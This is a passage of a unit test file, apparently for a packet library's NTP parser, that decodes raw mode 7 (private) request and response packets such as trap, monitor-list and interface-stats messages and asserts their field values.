REQ_RESADDFLAGS (1) - request s = b'\x17\x80\x03\x11\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0V\xa9"\xe6_\x00\x00\x00\x01>=\xb70Tp\xee\xae\xe1\xad4b\xef\xe3\x80\xc8' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 17 assert p.nb_items == 1 assert p.data_item_size == 48 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfRestrict) assert p.req_data[0].addr == "192.168.122.105" assert p.req_data[0].mask == "255.255.255.255" assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'3e3db7305470eeaee1ad3462efe380c8' = NTP Private (mode 7) - REQ_RESSUBFLAGS (1) - request s = b'\x17\x80\x03\x12\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0F\xe0C\xa9@\x00\x00\x00\x01>e\r\xdf\xdb\x1e1h\xd0\xca)L\x07k\x90\n' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 18 assert p.nb_items == 1 assert p.data_item_size == 48 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfRestrict) assert p.req_data[0].addr == "192.168.122.105" assert p.req_data[0].mask == "255.255.255.255" assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'3e650ddfdb1e3168d0ca294c076b900a' = NTP Private (mode 7) - REQ_RESET_PEER (1) - request s = b"\x17\x80\x03\x16\x00\x01\x00\x18\xc0\xa8zf\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xef!\x99\x88\xa3\xf1\x00\x00\x00\x01\xb1\xff\xe8\xefB=\xa9\x96\xdc\xe3\x13'\xb3\xfc\xc2\xf5" p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 22 assert p.nb_items == 1 assert p.data_item_size == 24 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfUnpeer) assert p.req_data[0].peeraddr == "192.168.122.102" assert p.req_data[0].v6_flag == 0 = NTP Private (mode 7) - REQ_AUTHINFO (1) - response s = b'\x97\x00\x03\x1c\x00\x01\x00$\x00\x00\x01\xdd\x00\x00\x00\x02\x00\x00\x00\n\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 28 assert p.err == 0 assert p.nb_items == 1 assert p.data_item_size == 36 assert hasattr(p, 'data') assert isinstance(p.data[0], NTPInfoAuth) assert p.data[0].timereset == 477 assert p.data[0].numkeys == 2 assert p.data[0].numfreekeys == 10 assert p.data[0].keylookups == 96 assert p.data[0].keynotfound == 0 assert p.data[0].encryptions == 9 assert p.data[0].decryptions == 47 assert p.data[0].expired == 0 assert p.data[0].keyuncached == 1 = NTP Private (mode 7) - REQ_ADD_TRAP (1) - request s = b'\x17\x80\x03\x1e\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedB\xdd\xda\x7f\x97\x00\x00\x00\x01b$\xb8IM.\xa61\xd0\x85I\x8f\xa7\'\x89\x92' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 1 assert p.request_code == 30 assert p.err == 0 assert p.nb_items == 1 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfTrap) assert p.req_data[0].trap_address == '192.0.2.3' assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'6224b8494d2ea631d085498fa7278992' = NTP Private (mode 7) - REQ_ADD_TRAP (2) - response s = b'\x97\x00\x03\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 30 assert p.err == 0 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_CLR_TRAP (1) - request s = b'\x17\x80\x03\x1f\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedb\xb3\x18\x1c\x00\x00\x00\x00\x01\xa5_V\x9e\xb8qD\x92\x1b\x1c>Z\xad]*\x89' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 1 assert p.request_code == 31 assert p.err == 0 assert p.nb_items == 1 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfTrap) assert p.req_data[0].trap_address == '192.0.2.3' assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'a55f569eb87144921b1c3e5aad5d2a89' = NTP Private (mode 7) - REQ_CLR_TRAP (2) - response s = b'\x97\x00\x03\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 31 assert p.err == 0 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_GET_CTLSTATS - response s = b'\x97\x00\x03"\x00\x01\x00<\x00\x00\x00\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 34 assert p.nb_items == 1 assert p.data_item_size == 60 assert type(p.data[0]) == NTPInfoControl assert p.data[0].ctltimereset == 237 = NTP Private (mode 7) - REQ_GET_KERNEL (1) - request s = b'\x17\x00\x03&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 38 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_GET_KERNEL (2) - response s = b'\x97\x00\x03&\x00\x01\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4$\x00\x00\xf4$\x00 A\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 38 assert p.nb_items == 1 assert p.data_item_size == 60 assert isinstance(p.data[0], NTPInfoKernel) assert p.data[0].maxerror == 16000000 assert p.data[0].esterror == 16000000 assert p.data[0].status == 8257 assert p.data[0].constant == 3 assert p.data[0].precision == 1 assert p.data[0].tolerance == 32768000 = NTP Private (mode 7) - REQ_MON_GETLIST_1 (1) - request s = b'\x17\x00\x03*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 42 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_MON_GETLIST_1 (2) - response s = b'\xd7\x00\x03*\x00\x06\x00H\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x94mw\xe9\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x13\xb6\xa9J\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbb]\x81\xea\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xfc\xbf\xd5a\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbe\x10x\xa8\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xde[ng\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 42 assert p.nb_items == 6 assert p.data_item_size == 72 = NTP Private (mode 7) - REQ_IF_STATS (1) - request s = b'\x17\x80\x03,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xeb\xdd\x8cH\xefe\x00\x00\x00\x01\x8b\xfb\x90u\xa8ad\xe8\x87\xca\xbf\x96\xd2\x9d\xddI' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 1 assert p.request_code == 44 assert p.nb_items == 0 assert p.data_item_size == 0 assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'8bfb9075a86164e887cabf96d29ddd49' = NTP Private (mode 7) - REQ_IF_STATS (2) - response s = b"\xd7\x00\x03,\x00\x03\x00\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xe3\x81r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xa0\x1d\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00" p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 44 assert p.err == 0 assert p.nb_items == 3 assert p.data_item_size == 136 assert isinstance(p.data[0], NTPInfoIfStatsIPv6) assert p.data[0].unaddr == "::1" assert p.data[0].unmask == "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff" assert p.data[0].ifname.startswith(b"lo") = NTP Private (mode 7) - REQ_IF_STATS (3) - response s = b'\xd7\x01\x03,\x00\x03\x00\x88\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 44 assert p.err == 0 assert p.nb_items == 3 assert p.data_item_size == 136 assert isinstance(p.data[0], NTPInfoIfStatsIPv4) assert p.data[0].unaddr == "192.168.122.101" assert p.data[0].unmask == "255.255.255.0" assert p.data[0].ifname.startswith(b"eth1") = NTP Private (mode 7) - REQ_IF_RELOAD (1) - request s = b'\x17\x80\x03-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xed\xa3\xdc\x7f\xc6\x11\x00\x00\x00\x01\xfb>\x96*\xe7O\xf7\x8feh\xd4\x07L\xc0\x08\xcb' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 1 assert p.request_code == 45 assert p.nb_items == 0 assert p.data_item_size == 0 assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'fb3e962ae74ff78f6568d4074cc008cb' = NTP Private (mode 7) - REQ_IF_RELOAD (2) - response s = b'\xd7\x00\x03-\x00\x03\x00\x88\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\t\x00\x02\x00\x01\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 45 assert p.err == 0 assert p.nb_items == 3 assert p.data_item_size == 